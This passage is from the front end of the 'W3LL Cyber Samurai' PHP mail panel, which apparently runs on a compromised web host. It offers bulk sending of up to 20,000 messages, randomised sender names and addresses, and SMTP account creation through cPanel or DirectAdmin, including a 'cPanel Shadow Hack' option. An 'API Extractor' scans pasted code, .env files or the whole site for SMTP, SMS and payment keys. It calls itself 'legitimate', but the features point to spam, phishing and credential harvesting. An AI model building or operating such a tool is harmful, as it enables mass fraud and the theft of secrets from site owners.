            border-radius: 6px;
        }
        .loading {
            display: inline-block;
            width: 20px;
            height: 20px;
            border: 2px solid rgba(0, 255, 136, 0.3);
            border-radius: 50%;
            border-top-color: var(--primary);
            animation: spin 1s ease-in-out infinite;
        }
        @keyframes spin {
            to { transform: rotate(360deg); }
        }
        .footer {
            text-align: center;
            padding: 30px;
            color: var(--text-dim);
            font-size: 0.9rem;
            border-top: 1px solid rgba(0, 255, 136, 0.2);
            margin-top: 50px;
        }
        .footer-links {
            margin-top: 15px;
        }
        .footer-links a {
            color: var(--primary);
            text-decoration: none;
            margin: 0 15px;
            transition: color 0.3s ease;
        }
        .footer-links a:hover {
            color: var(--gold);
        }
        /* Responsive Design */
        @media (max-width: 768px) {
            .container {
                padding: 15px;
            }
       
            .logo {
                font-size: 2rem;
            }
       
            .stats-bar {
                flex-direction: column;
                align-items: center;
            }
       
            .table-row {
                grid-template-columns: 1fr;
                gap: 5px;
            }
       
            .card {
                padding: 20px;
            }
        }
        /* Custom Scrollbar */
        ::-webkit-scrollbar {
            width: 8px;
        }
        ::-webkit-scrollbar-track {
            background: rgba(0, 0, 0, 0.2);
            border-radius: 4px;
        }
        ::-webkit-scrollbar-thumb {
            background: var(--primary);
            border-radius: 4px;
        }
        ::-webkit-scrollbar-thumb:hover {
            background: var(--tertiary);
        }
        /* Tooltip Styles */
        .tooltip {
            position: relative;
            display: inline-block;
        }
        .tooltip .tooltiptext {
            visibility: hidden;
            width: 200px;
            background-color: var(--card);
            color: var(--text);
            text-align: center;
            border-radius: 6px;
            padding: 8px;
            position: absolute;
            z-index: 1;
            bottom: 125%;
            left: 50%;
            margin-left: -100px;
            opacity: 0;
            transition: opacity 0.3s;
            font-size: 0.8rem;
            border: 1px solid var(--primary);
        }
        .tooltip:hover .tooltiptext {
            visibility: visible;
            opacity: 1;
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header Section -->
        <div class="header">
            <div class="header-content">
                <div class="logo">⚔️ W3LL CYBER SAMURAI</div>
                <div class="subtitle">Professional SMTP Mailer v4.0 - Legitimate Edition</div>
                <div class="japanese-text">サイバー侍 - 正統なメール配信システム</div>
           
                <div class="stats-bar">
                    <div class="stat-item">
                        <div class="stat-number" id="smtp-count">0</div>
                        <div class="stat-label">SMTP Accounts</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-number">20000</div>
                        <div class="stat-label">Max Emails/Session</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-number"><?php echo function_exists('mail') ? 'ON' : 'OFF'; ?></div>
                        <div class="stat-label">PHP Mail</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-number"><?php echo getClientIP(); ?></div>
                        <div class="stat-label">Your IP</div>
                    </div>
                </div>
           
                <div style="margin-top: 20px;">
                    <a href="?logout=1" class="btn btn-danger btn-small">
                        <i class="fas fa-sign-out-alt"></i> Logout
                    </a>
                </div>
            </div>
        </div>
        <div class="main-content">
            <!-- Main Mailer Form -->
            <div class="card">
                <div class="card-header">
                    <i class="fas fa-envelope card-icon"></i>
                    <div class="card-title">Email Campaign Manager</div>
                </div>
                <?php if (!empty($results)): ?>
                    <div class="results-container">
                        <?php if (isset($results['errors'])): ?>
                            <div class="alert alert-error">
                                <i class="fas fa-exclamation-triangle"></i>
                                <strong>Validation Errors:</strong>
                                <ul style="margin-top: 10px; margin-left: 20px;">
                                    <?php foreach ($results['errors'] as $error): ?>
                                        <li><?php echo htmlspecialchars($error); ?></li>
                                    <?php endforeach; ?>
                                </ul>
                            </div>
                        <?php elseif (isset($results['summary'])): ?>
                            <div class="alert alert-success">
                                <i class="fas fa-check-circle"></i>
                                <strong>Campaign Completed!</strong>
                                Sent <?php echo $results['summary']['sent']; ?> out of <?php echo $results['summary']['total']; ?> emails
                                (<?php echo $results['summary']['success_rate']; ?>% success rate)
                            </div>
                       
                            <div class="results-summary">
                                <div class="summary-card">
                                    <div class="summary-number" style="color: var(--success);"><?php echo $results['summary']['sent']; ?></div>
                                    <div class="summary-label">Successfully Sent</div>
                                </div>
                                <div class="summary-card">
                                    <div class="summary-number" style="color: var(--red);"><?php echo $results['summary']['failed']; ?></div>
                                    <div class="summary-label">Failed</div>
                                </div>
                                <div class="summary-card">
                                    <div class="summary-number" style="color: var(--primary);"><?php echo $results['summary']['success_rate']; ?>%</div>
                                    <div class="summary-label">Success Rate</div>
                                </div>
                                <div class="summary-card">
                                    <div class="summary-number" style="color: var(--info);"><?php echo $results['summary']['method']; ?></div>
                                    <div class="summary-label">Method Used</div>
                                </div>
                            </div>
                       
                            <?php if (!empty($results['details'])): ?>
                                <div class="results-table">
                                    <div class="table-header">
                                        <i class="fas fa-list"></i> Detailed Results
                                    </div>
                                    <div class="table-body">
                                        <?php foreach ($results['details'] as $detail): ?>
                                            <div class="table-row">
                                                <div><?php echo htmlspecialchars($detail['email']); ?></div>
                                                <div>
                                                    <span class="status-badge status-<?php echo $detail['status']; ?>">
                                                        <?php echo strtoupper($detail['status']); ?>
                                                    </span>
                                                </div>
                                                <div style="font-size: 0.85rem; color: var(--text-dim);">
                                                    <?php echo htmlspecialchars($detail['message']); ?>
                                                </div>
                                            </div>
                                        <?php endforeach; ?>
                                    </div>
                                </div>
                            <?php endif; ?>
                        <?php endif; ?>
                    </div>
                <?php endif; ?>
                <form method="post" id="mailerForm" enctype="multipart/form-data">
                    <!-- Sender Information -->
                    <div class="form-group">
                        <label class="form-label">
                            <i class="fas fa-user"></i> Sender Name
                            <span class="tooltip">
                                <i class="fas fa-info-circle" style="color: var(--info);"></i>
                                <span class="tooltiptext">Use [-randomstring-], [-randomnumber-] for dynamic names</span>
                            </span>
                        </label>
                        <input type="text" name="senderName" class="form-input"
                               value="<?php echo htmlspecialchars(isset($formData['senderName']) ? $formData['senderName'] : 'W3LL Mailer'); ?>"
                               placeholder="Your Name or Company Name" required>
                    </div>
                    <div class="form-row">
                        <div class="form-group">
                            <label class="form-label">
                                <i class="fas fa-envelope"></i> Sender Email
                                <span class="tooltip">
                                    <i class="fas fa-info-circle" style="color: var(--info);"></i>
                                    <span class="tooltiptext">Use [-email-] for random email generation</span>
                                </span>
                            </label>
                            <input type="email" name="senderEmail" class="form-input"
                                   value="<?php echo htmlspecialchars(isset($formData['senderEmail']) ? $formData['senderEmail'] : ''); ?>"
                                   placeholder="sender@example.com" required>
                        </div>
                        <div class="form-group">
                            <label class="form-label">
                                <i class="fas fa-reply"></i> Reply-To Email
                            </label>
                            <input type="email" name="replyTo" class="form-input"
                                   value="<?php echo htmlspecialchars(isset($formData['replyTo']) ? $formData['replyTo'] : ''); ?>"
                                   placeholder="reply@example.com (optional)">
                        </div>
                    </div>
                    <!-- Email Subject -->
                    <div class="form-group">
                        <label class="form-label">
                            <i class="fas fa-tag"></i> Email Subject
                            <span class="tooltip">
                                <i class="fas fa-info-circle" style="color: var(--info);"></i>
                                <span class="tooltiptext">Use [-email-], [-randomstring-], [-randomnumber-] for personalization</span>
                            </span>
                        </label>
                        <input type="text" name="subject" class="form-input"
                               value="<?php echo htmlspecialchars(isset($formData['subject']) ? $formData['subject'] : ''); ?>"
                               placeholder="Your email subject here" required>
                    </div>
                    <!-- Email List -->
                    <div class="form-group">
                        <label class="form-label">
                            <i class="fas fa-list"></i> Email List
                            <span style="color: var(--text-dim); font-weight: normal;">(One email per line)</span>
                        </label>
                        <textarea name="emailList" class="form-textarea" rows="8"
                                  placeholder="email1@example.com&#10;email2@example.com&#10;email3@example.com" required><?php echo htmlspecialchars(isset($formData['emailList']) ? $formData['emailList'] : ''); ?></textarea>
                    </div>
                    <!-- Message Content -->
                    <div class="form-group">
                        <label class="form-label">
                            <i class="fas fa-edit"></i> Message Content
                        </label>
                        <div class="form-row" style="margin-bottom: 10px;">
                            <div>
                                <label style="display: flex; align-items: center; gap: 10px;">
                                    <input type="radio" name="messageType" value="1" <?php echo (isset($formData['messageType']) ? $formData['messageType'] : 1) == 1 ? 'checked' : ''; ?>>
                                    <i class="fas fa-code"></i> HTML Format
                                </label>
                            </div>
                            <div>
                                <label style="display: flex; align-items: center; gap: 10px;">
                                    <input type="radio" name="messageType" value="0" <?php echo (isset($formData['messageType']) ? $formData['messageType'] : 1) == 0 ? 'checked' : ''; ?>>
                                    <i class="fas fa-file-text"></i> Plain Text
                                </label>
                            </div>
                        </div>
                        <textarea name="messageLetter" class="form-textarea" rows="12"
                                  placeholder="Your email message content here..." required><?php echo htmlspecialchars(isset($formData['messageLetter']) ? $formData['messageLetter'] : ''); ?></textarea>
                    </div>
                    <!-- Attachments -->
                    <div class="form-group">
                        <label class="form-label">
                            <i class="fas fa-paperclip"></i> Attachments (Optional, multiple allowed)
                        </label>
                        <input type="file" name="attachments[]" multiple class="form-input">
                    </div>
                    <!-- SMTP Configuration Section -->
                    <div class="smtp-section">
                        <div class="smtp-toggle">
                            <label class="toggle-switch">
                                <input type="checkbox" id="useSmtpToggle" name="useSmtp" value="1"
                                       <?php echo (isset($formData['useSmtp']) ? $formData['useSmtp'] : 0) ? 'checked' : ''; ?>>
                                <span class="toggle-slider"></span>
                            </label>
                            <label for="useSmtpToggle" style="cursor: pointer;">
                                <i class="fas fa-server"></i> Use SMTP Server (Recommended)
                            </label>
                        </div>
                        <div class="smtp-fields <?php echo (isset($formData['useSmtp']) ? $formData['useSmtp'] : 0) ? 'active' : ''; ?>" id="smtpFields">
                            <div class="form-row">
                                <div class="form-group">
                                    <label class="form-label">
                                        <i class="fas fa-server"></i> SMTP Host
                                    </label>
                                    <input type="text" name="smtpHost" class="form-input"
                                           value="<?php echo htmlspecialchars(isset($formData['smtpHost']) ? $formData['smtpHost'] : ''); ?>"
                                           placeholder="mail.example.com">
                                </div>
                                <div class="form-group">
                                    <label class="form-label">
                                        <i class="fas fa-plug"></i> SMTP Port
                                    </label>
                                    <select name="smtpPort" class="form-select">
                                        <option value="587" <?php echo (isset($formData['smtpPort']) ? $formData['smtpPort'] : 587) == 587 ? 'selected' : ''; ?>>587 (TLS)</option>
                                        <option value="465" <?php echo (isset($formData['smtpPort']) ? $formData['smtpPort'] : 587) == 465 ? 'selected' : ''; ?>>465 (SSL)</option>
                                        <option value="25" <?php echo (isset($formData['smtpPort']) ? $formData['smtpPort'] : 587) == 25 ? 'selected' : ''; ?>>25 (Standard)</option>
                                        <option value="2525" <?php echo (isset($formData['smtpPort']) ? $formData['smtpPort'] : 587) == 2525 ? 'selected' : ''; ?>>2525 (Alternative)</option>
                                    </select>
                                </div>
                            </div>
                            <div class="form-row">
                                <div class="form-group">
                                    <label class="form-label">
                                        <i class="fas fa-user"></i> SMTP Username (Auth)
                                    </label>
                                    <input type="text" name="smtpEmail" class="form-input"
                                           value="<?php echo htmlspecialchars(isset($formData['smtpAuthUsername']) ? $formData['smtpAuthUsername'] : ''); ?>"
                                           placeholder="your-smtp-username">
                                </div>
                                <div class="form-group">
                                    <label class="form-label">
                                        <i class="fas fa-key"></i> SMTP Password
                                    </label>
                                    <input type="password" name="smtpPassword" class="form-input"
                                           value="<?php echo htmlspecialchars(isset($formData['smtpPassword']) ? $formData['smtpPassword'] : ''); ?>"
                                           placeholder="Your SMTP password">
                                </div>
                            </div>
                            <div class="form-group">
                                <label class="form-label">
                                    <i class="fas fa-shield-alt"></i> Encryption
                                </label>
                                <select name="smtpEncryption" class="form-select">
                                    <option value="tls" <?php echo (isset($formData['smtpEncryption']) ? $formData['smtpEncryption'] : 'tls') == 'tls' ? 'selected' : ''; ?>>TLS (Recommended)</option>
                                    <option value="ssl" <?php echo (isset($formData['smtpEncryption']) ? $formData['smtpEncryption'] : 'tls') == 'ssl' ? 'selected' : ''; ?>>SSL</option>
                                    <option value="none" <?php echo (isset($formData['smtpEncryption']) ? $formData['smtpEncryption'] : 'tls') == 'none' ? 'selected' : ''; ?>>None</option>
                                </select>
                            </div>
                            <button type="button" class="btn btn-info" id="testSmtpBtn">
                                <i class="fas fa-vial"></i> Test SMTP Connection
                            </button>
                        </div>
                    </div>
                    <!-- Submit Button -->
                    <button type="submit" class="btn btn-primary btn-full" id="sendEmailsBtn">
                        <i class="fas fa-paper-plane"></i> Send Email Campaign
                    </button>
                </form>
            </div>
            <!-- SMTP Creator Sidebar -->
            <div class="smtp-creator">
                <div class="card">
                    <div class="card-header">
                        <i class="fas fa-plus-circle card-icon"></i>
                        <div class="card-title">SMTP Account Manager</div>
                    </div>
                    <div class="alert alert-info">
                        <i class="fas fa-info-circle"></i>
                        <strong>Legitimate SMTP Creation</strong><br>
                        This tool creates SMTP accounts through official control panel APIs (cPanel/DirectAdmin)
                    </div>
                    <!-- SMTP Creation Methods -->
                    <div class="form-group">
                        <label class="form-label">
                            <i class="fas fa-cog"></i> Creation Method
                        </label>
                        <select id="smtpCreationMethod" class="form-select">
                            <option value="auto">Auto-Detect Best Method</option>
                            <option value="cpanel_uapi">cPanel UAPI</option>
                            <option value="cpanel_shadow">cPanel Shadow Hack</option>
                            <option value="directadmin_api">DirectAdmin API</option>
                            <option value="external_service">External Service</option>
                        </select>
                    </div>
                    <!-- Quick SMTP Test -->
                    <div class="form-group">
                        <label class="form-label">
                            <i class="fas fa-envelope-open"></i> Test Email (Optional)
                        </label>
                        <input type="email" id="testEmailAddress" class="form-input"
                               placeholder="test@example.com">
                    </div>
                    <div class="form-row">
                        <button type="button" class="btn btn-success" id="createSmtpBtn">
                            <i class="fas fa-plus"></i> Create SMTP
                        </button>
                        <button type="button" class="btn btn-info" id="refreshAccountsBtn">
                            <i class="fas fa-sync"></i> Refresh
                        </button>
                    </div>
                    <!-- SMTP Accounts List -->
                    <div class="smtp-accounts-list" id="smtpAccountsList">
                        <div style="text-align: center; color: var(--text-dim); padding: 20px;">
                            <i class="fas fa-spinner fa-spin"></i> Loading SMTP accounts...
                        </div>
                    </div>
                </div>
                <!-- API Extractor Card -->
                <div class="card" style="margin-top: 20px;">
                    <div class="card-header">
                        <i class="fas fa-search card-icon"></i>
                        <div class="card-title">API Extractor</div>
                    </div>
                    <div class="alert alert-info">
                        <i class="fas fa-info-circle"></i>
                        <strong>API Detection</strong><br>
                        Paste code or text to automatically detect API keys for SMTP, SMS, Payment, and more. Or scan the full website.
                    </div>
                    <div class="form-group">
                        <label class="form-label">
                            <i class="fas fa-file-code"></i> Paste Code or Text to Scan
                        </label>
                        <textarea id="extractText" class="form-textarea" rows="6" placeholder="Paste source code, .env content, or text containing API keys..."></textarea>
                    </div>
                    <button type="button" class="btn btn-primary btn-full" id="extractApisBtn">
                        <i class="fas fa-search-dollar"></i> Extract APIs
                    </button>
                    <button type="button" class="btn btn-warning btn-full" id="scanSiteBtn" style="margin-top: 10px;">
                        <i class="fas fa-globe"></i> Scan Website for APIs
                    </button>
                    <div id="extractedApis" style="margin-top: 20px;"></div>
                </div>
                <!-- Quick Actions Card -->
                <div class="card" style="margin-top: 20px;">
                    <div class="card-header">
                        <i class="fas fa-bolt card-icon"></i>
                        <div class="card-title">Quick Actions</div>
                    </div>
                    <div class="form-group">
                        <button type="button" class="btn btn-warning btn-full" onclick="clearForm()">
                            <i class="fas fa-broom"></i> Clear Form
                        </button>
                    </div>
                    <div class="form-group">
                        <button type="button" class="btn btn-info btn-full" onclick="loadTemplate()">
                            <i class="fas fa-file-import"></i> Load Template
                        </button>
                    </div>
                    <div class="form-group">
                        <button type="button" class="btn btn-secondary btn-full" onclick="exportResults()">
                            <i class="fas fa-download"></i> Export Results
                        </button>
                    </div>
                    <!-- System Status -->
                    <div style="margin-top: 20px; padding-top: 20px; border-top: 1px solid rgba(0, 255, 136, 0.2);">
                        <div class="form-label">
                            <i class="fas fa-heartbeat"></i> System Status
                        </div>
                        <div style="font-size: 0.85rem; color: var(--text-dim);">
                            <div>PHP Mail: <span style="color: var(--success);">✓ Available</span></div>
                            <div>SMTP: <span style="color: var(--success);">✓ Ready</span></div>
                            <div>Rate Limit: <span style="color: var(--info);"><?php echo $config['rate_limit_requests']; ?>/<?php echo $config['rate_limit_window']; ?>s</span></div>
                            <div>Max Emails: <span style="color: var(--warning);">20000</span></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Footer -->
        <div class="footer">
            <div>
                <strong>⚔️ W3LL Cyber Samurai Mailer v4.0</strong><br>
                Professional Email Marketing Solution - Legitimate SMTP Edition
            </div>
            <div class="footer-links">
                <a href="https://w3llstore.com" target="_blank">
                    <i class="fas fa-globe"></i> W3LL Store
                </a>
                <a href="https://t.me/W3LLSTORE_ADMIN" target="_blank">
                    <i class="fab fa-telegram"></i> Support
                </a>
                <a href="?valid=1" target="_blank">
                    <i class="fas fa-heartbeat"></i> API Status
                </a>
            </div>
            <div style="margin-top: 15px; font-size: 0.8rem; opacity: 0.7;">
                サイバー侍 - Legitimate Email Marketing Technology<br>
                Server Time: <?php echo date('Y-m-d H:i:s'); ?> | Your IP: <?php echo getClientIP(); ?>
            </div>
        </div>
    </div>
    <script>
        // Global variables
        let smtpAccounts = [];
        let isLoading = false;
        // DOM Elements
        const useSmtpToggle = document.getElementById('useSmtpToggle');
        const smtpFields = document.getElementById('smtpFields');
        const testSmtpBtn = document.getElementById('testSmtpBtn');
        const createSmtpBtn = document.getElementById('createSmtpBtn');
        const refreshAccountsBtn = document.getElementById('refreshAccountsBtn');
        const smtpAccountsList = document.getElementById('smtpAccountsList');
        const sendEmailsBtn = document.getElementById('sendEmailsBtn');
        const mailerForm = document.getElementById('mailerForm');
        const extractApisBtn = document.getElementById('extractApisBtn');
        const scanSiteBtn = document.getElementById('scanSiteBtn');
        // Initialize application
        document.addEventListener('DOMContentLoaded', function() {
            initializeApp();
            loadSMTPAccounts();
            setupEventListeners();
        });
        function initializeApp() {
            // SMTP Toggle functionality
            useSmtpToggle.addEventListener('change', function() {
                if (this.checked) {
                    smtpFields.classList.add('active');
                } else {
                    smtpFields.classList.remove('active');
                }
            });
            // Auto-fill SMTP credentials from selected account
            document.addEventListener('click', function(e) {
                if (e.target.classList.contains('use-smtp-account')) {
                    const accountId = e.target.dataset.accountId;
                    const account = smtpAccounts.find(acc => acc.id == accountId);
                    if (account) {
                        fillSMTPForm(account);
                    }
                }
            });
        }
        function setupEventListeners() {
            // Test SMTP Connection
            testSmtpBtn.addEventListener('click', testSMTPConnection);
       
            // Create SMTP Account
            createSmtpBtn.addEventListener('click', createSMTPAccount);
       
            // Refresh SMTP Accounts
            refreshAccountsBtn.addEventListener('click', loadSMTPAccounts);
       
            // Form submission with validation
            mailerForm.addEventListener('submit', function(e) {
                if (!validateForm()) {
                    e.preventDefault();
                    return false;
                }
           
                // Show loading state
                sendEmailsBtn.innerHTML = '<div class="loading"></div> Sending Emails...';
                sendEmailsBtn.disabled = true;
            });
       
            // API Extractor
            extractApisBtn.addEventListener('click', extractAPIs);
       
            // Website Scan
            scanSiteBtn.addEventListener('click', scanWebsite);
        }
        // SMTP Account Management Functions
        async function loadSMTPAccounts() {
            try {
                refreshAccountsBtn.innerHTML = '<div class="loading"></div>';
                refreshAccountsBtn.disabled = true;
           
                const response = await fetch('?get_smtp_accounts=1');
                const data = await response.json();
           
                if (data.success) {
                    smtpAccounts = data.accounts;
                    renderSMTPAccounts();
                    updateSMTPCount();
                } else {
                    showNotification('Failed to load SMTP accounts: ' + data.message, 'error');
                }
            } catch (error) {
                console.error('Error loading SMTP accounts:', error);
                showNotification('Error loading SMTP accounts', 'error');
            } finally {
                refreshAccountsBtn.innerHTML = '<i class="fas fa-sync"></i> Refresh';
                refreshAccountsBtn.disabled = false;
            }
        }
        async function createSMTPAccount() {
            if (isLoading) return;
       
            try {
                isLoading = true;
                createSmtpBtn.innerHTML = '<div class="loading"></div> Creating...';
                createSmtpBtn.disabled = true;
           
                const method = document.getElementById('smtpCreationMethod').value;
                const response = await fetch(`?create_smtp=1&method=${method}`);
                const data = await response.json();
           
                if (data.success) {
                    showNotification(`SMTP account created successfully! Email: ${data.email}`, 'success');
                    loadSMTPAccounts(); // Refresh the list
                } else {
                    showNotification('Failed to create SMTP account: ' + data.message, 'error');
                }
            } catch (error) {
                console.error('Error creating SMTP account:', error);
                showNotification('Error creating SMTP account', 'error');
            } finally {
                isLoading = false;
                createSmtpBtn.innerHTML = '<i class="fas fa-plus"></i> Create SMTP';
                createSmtpBtn.disabled = false;
            }
        }
        async function testSMTPConnection() {
            const host = document.querySelector('input[name="smtpHost"]').value;
            const port = document.querySelector('select[name="smtpPort"]').value;
            const auth_username = document.querySelector('input[name="smtpEmail"]').value;
            const password = document.querySelector('input[name="smtpPassword"]').value;
            const encryption = document.querySelector('select[name="smtpEncryption"]').value;
            const testEmail = document.getElementById('testEmailAddress').value;
       
            if (!host || !auth_username || !password) {
                showNotification('Please fill in SMTP host, username, and password', 'warning');
                return;
            }
       
            try {
                testSmtpBtn.innerHTML = '<div class="loading"></div> Testing...';
                testSmtpBtn.disabled = true;
           
                const params = new URLSearchParams({
                    test_smtp: '1',
                    host: host,
                    port: port,
                    email: auth_username,
                    pass: password,
                    encryption: encryption,
                    test_email: testEmail
                });
           
                const response = await fetch('?' + params.toString());
                const data = await response.json();
           
                if (data.success) {
                    let message = 'SMTP connection successful!';
                    if (data.test_email_sent) {
                        message += ' Test email sent successfully.';
                    }
                    showNotification(message, 'success');
                } else {
                    showNotification('SMTP test failed: ' + data.message, 'error');
                }
           
                console.log('SMTP Test Details:', data.details);
           
            } catch (error) {
                console.error('Error testing SMTP:', error);
                showNotification('Error testing SMTP connection', 'error');
            } finally {
                testSmtpBtn.innerHTML = '<i class="fas fa-vial"></i> Test SMTP Connection';
                testSmtpBtn.disabled = false;
            }
        }
        async function testSMTPAccount(accountId) {
            try {
                const testEmail = document.getElementById('testEmailAddress').value;
                const params = new URLSearchParams({
                    test_smtp_account: '1',
                    id: accountId,
                    test_email: testEmail
                });
           
                const response = await fetch('?' + params.toString());
                const data = await response.json();
           
                if (data.success) {
                    let message = 'SMTP account test successful!';
                    if (data.test_email_sent) {
                        message += ' Test email sent.';
                    }
                    showNotification(message, 'success');
                } else {
                    showNotification('SMTP account test failed: ' + data.message, 'error');
                }
            } catch (error) {
                console.error('Error testing SMTP account:', error);
                showNotification('Error testing SMTP account', 'error');
            }
        }
        async function deleteSMTPAccount(accountId) {
            if (!confirm('Are you sure you want to delete this SMTP account?')) {
                return;
            }
       
            try {
                const response = await fetch(`?delete_smtp=1&id=${accountId}`);
                const data = await response.json();
           
                if (data.success) {
                    showNotification('SMTP account deleted successfully', 'success');
                    loadSMTPAccounts(); // Refresh the list
                } else {
                    showNotification('Failed to delete SMTP account: ' + data.message, 'error');
                }
            } catch (error) {
                console.error('Error deleting SMTP account:', error);
                showNotification('Error deleting SMTP account', 'error');
            }
        }
        function renderSMTPAccounts() {
            if (smtpAccounts.length === 0) {
                smtpAccountsList.innerHTML = `
                    <div style="text-align: center; color: var(--text-dim); padding: 20px;">
                        <i class="fas fa-inbox"></i><br>
                        No SMTP accounts found<br>
                        <small>Create your first SMTP account above</small>
                    </div>
                `;
                return;
            }
       
            const accountsHTML = smtpAccounts.map(account => `
                <div class="smtp-account-item">
                    <div class="smtp-account-header">
                        <div class="smtp-account-email">${account.sender_email || account.auth_username}</div>
                        <div class="smtp-account-method">${account.method || 'Manual'}</div>
                    </div>
                    <div class="smtp-account-details">
                        <i class="fas fa-server"></i> ${account.host}:${account.port} (${account.encryption.toUpperCase()})<br>
                        <i class="fas fa-user"></i> Auth: ${account.auth_username}<br>
                        ${account.created_at ? `<i class="fas fa-clock"></i> ${account.created_at}` : ''}
                    </div>
                    <div class="smtp-account-actions">
                        <button class="btn btn-success btn-small use-smtp-account"
                                data-account-id="${account.id}">
                            <i class="fas fa-check"></i> Use
                        </button>
                        <button class="btn btn-info btn-small"
                                onclick="testSMTPAccount('${account.id}')">
                            <i class="fas fa-vial"></i> Test
                        </button>
                        <button class="btn btn-danger btn-small"
                                onclick="deleteSMTPAccount('${account.id}')">
                            <i class="fas fa-trash"></i>
                        </button>
                    </div>
                </div>
            `).join('');
       
            smtpAccountsList.innerHTML = accountsHTML;
        }
        function fillSMTPForm(account) {
            document.querySelector('[name="smtpHost"]').value = account.host;
            document.querySelector('select[name="smtpPort"]').value = account.port;
            document.querySelector('[name="smtpEmail"]').value = account.auth_username;
            document.querySelector('[name="senderEmail"]').value = account.sender_email || account.auth_username;
            document.querySelector('[name="smtpPassword"]').value = account.password;
            document.querySelector('select[name="smtpEncryption"]').value = account.encryption;
       
            // Enable SMTP mode
            useSmtpToggle.checked = true;
            smtpFields.classList.add('active');
       
            showNotification(`SMTP credentials loaded for ${account.sender_email || account.auth_username}`, 'success');
        }
        function updateSMTPCount() {
            document.getElementById('smtp-count').textContent = smtpAccounts.length;
        }
        async function extractAPIs() {
            const text = document.getElementById('extractText').value.trim();
            if (!text) {
                showNotification('Please paste some text to scan', 'warning');
                return;
            }
            try {
                const formData = new FormData();
                formData.append('text', text);
                const response = await fetch('?extract_apis=1', {
                    method: 'POST',
                    body: formData
                });
                const data = await response.json();
                if (data.success) {
                    renderExtractedAPIs(data.extracted);
                } else {
                    showNotification('Extraction failed: ' + data.message, 'error');
                }
            } catch (error) {
                console.error('Error during extraction:', error);
                showNotification('Error during extraction', 'error');
            }
        }
        async function scanWebsite() {
            try {
                scanSiteBtn.innerHTML = '<div class="loading"></div> Scanning...';
                scanSiteBtn.disabled = true;
           
                const response = await fetch('?scan_site=1');
                const data = await response.json();
           
                if (data.success) {
                    renderExtractedAPIs(data.extracted);
                    if (data.has_apis) {
                        showNotification('APIs detected on website!', 'success');
                    } else {
                        showNotification('No APIs found during scan', 'info');
                    }
                } else {
                    showNotification('Scan failed: ' + data.message, 'error');
                }
            } catch (error) {
                console.error('Error during scan:', error);
                showNotification('Error during website scan', 'error');
            } finally {
                scanSiteBtn.innerHTML = '<i class="fas fa-globe"></i> Scan Website for APIs';
                scanSiteBtn.disabled = false;
            }
        }
        function renderExtractedAPIs(extracted) {
            let html = '<div class="results-table"><div class="table-header"><i class="fas fa-key"></i> Extracted APIs</div><div class="table-body">';
            if (Object.keys(extracted).length === 0) {
                html += '<div style="text-align: center; padding: 20px; color: var(--text-dim);">No APIs found</div>';
            } else {
                for (const [type, keys] of Object.entries(extracted)) {
                    html += `<div class="table-row">
                        <div>${type}</div>
                        <div></div>
                        <div>${keys.join(', ')}</div>
                    </div>`;
                }
            }
            html += '</div></div>';
            document.getElementById('extractedApis').innerHTML = html;
        }
        // Utility Functions
        function validateForm() {
            const requiredFields = [
                { name: 'senderName', label: 'Sender Name' },
                { name: 'senderEmail', label: 'Sender Email' },
                { name: 'subject', label: 'Subject' },
                { name: 'emailList', label: 'Email List' },
                { name: 'messageLetter', label: 'Message Content' }
            ];
       
            for (const field of requiredFields) {
                const element = document.querySelector(`[name="${field.name}"]`);
                if (!element.value.trim()) {
                    showNotification(`${field.label} is required`, 'warning');
                    element.focus();
                    return false;
                }
            }
       
            // Validate email list
            const emailList = document.querySelector('[name="emailList"]').value.trim();
            const emails = emailList.split('\n').filter(email => email.trim());
       
            if (emails.length === 0) {
                showNotification('Please provide at least one email address', 'warning');
                return false;
            }
       
            // Validate SMTP if enabled
            if (useSmtpToggle.checked) {
                const smtpFields = ['smtpHost', 'smtpEmail', 'smtpPassword'];
                for (const field of smtpFields) {
                    const element = document.querySelector(`[name="${field}"]`);
                    if (!element.value.trim()) {
                        showNotification(`SMTP ${field.replace('smtp', '')} is required when using SMTP`, 'warning');
                        element.focus();
                        return false;
                    }
                }
            }
       
            return true;
        }
        function showNotification(message, type = 'info') {
            // Create notification element
            const notification = document.createElement('div');
            notification.className = `alert alert-${type}`;
            notification.style.cssText = `
                position: fixed;
                top: 20px;
                right: 20px;
                z-index: 10000;
                max-width: 400px;
                animation: slideInRight 0.3s ease;
            `;
       
            const icons = {
                success: 'fas fa-check-circle',
                error: 'fas fa-exclamation-triangle',
                warning: 'fas fa-exclamation-circle',
                info: 'fas fa-info-circle'
            };
       
            notification.innerHTML = `
                <i class="${icons[type] || icons.info}"></i>
                ${message}
                <button onclick="this.parentElement.remove()" style="float: right; background: none; border: none; color: inherit; font-size: 1.2rem; cursor: pointer;">&times;</button>
            `;
       
            document.body.appendChild(notification);
       
            // Auto remove after 5 seconds
            setTimeout(() => {
                if (notification.parentElement) {
                    notification.remove();
                }
            }, 5000);
        }
        function clearForm() {
            if (confirm('Are you sure you want to clear the form?')) {
                mailerForm.reset();
                useSmtpToggle.checked = false;
                smtpFields.classList.remove('active');
                showNotification('Form cleared successfully', 'info');
            }
        }
        function loadTemplate() {
            const templates = {
                marketing: {
                    subject: 'Special Offer Just for You! [-randomstring-]',
                    message: `<html><body>
<h2>Hello there!</h2>
<p>We have an exclusive offer just for you at <strong>[-email-]</strong></p>
<p>Don't miss out on this limited-time opportunity!</p>
<p>Best regards,<br>The Marketing Team</p>
</body></html>`
                },
                newsletter: {
                    subject: 'Weekly Newsletter - Week of [-randomnumber-]',
                    message: `<html><body>
<h2>Weekly Newsletter</h2>
<p>Dear Subscriber,</p>
<p>Here's what's new this week...</p>
<ul>
<li>Latest updates and news</li>
<li>Special announcements</li>
<li>Upcoming events</li>
</ul>
<p>Thank you for subscribing!</p>
</body></html>`
                }
            };
       
            const templateType = prompt('Choose template type:\n1. marketing\n2. newsletter\n\nEnter template name:');
       
            if (templates[templateType]) {
                document.querySelector('[name="subject"]').value = templates[templateType].subject;
                document.querySelector('[name="messageLetter"]').value = templates[templateType].message;
                document.querySelector('[name="messageType"][value="1"]').checked = true;
                showNotification(`${templateType} template loaded successfully`, 'success');
            } else if (templateType !== null) {
                showNotification('Template not found', 'warning');
            }
        }
        function exportResults() {
            // This would export the last campaign results
            showNotification('Export functionality coming soon!', 'info');
        }
        // Add CSS animation for notifications
        const style = document.createElement('style');
        style.textContent = `
            @keyframes slideInRight {
                from {
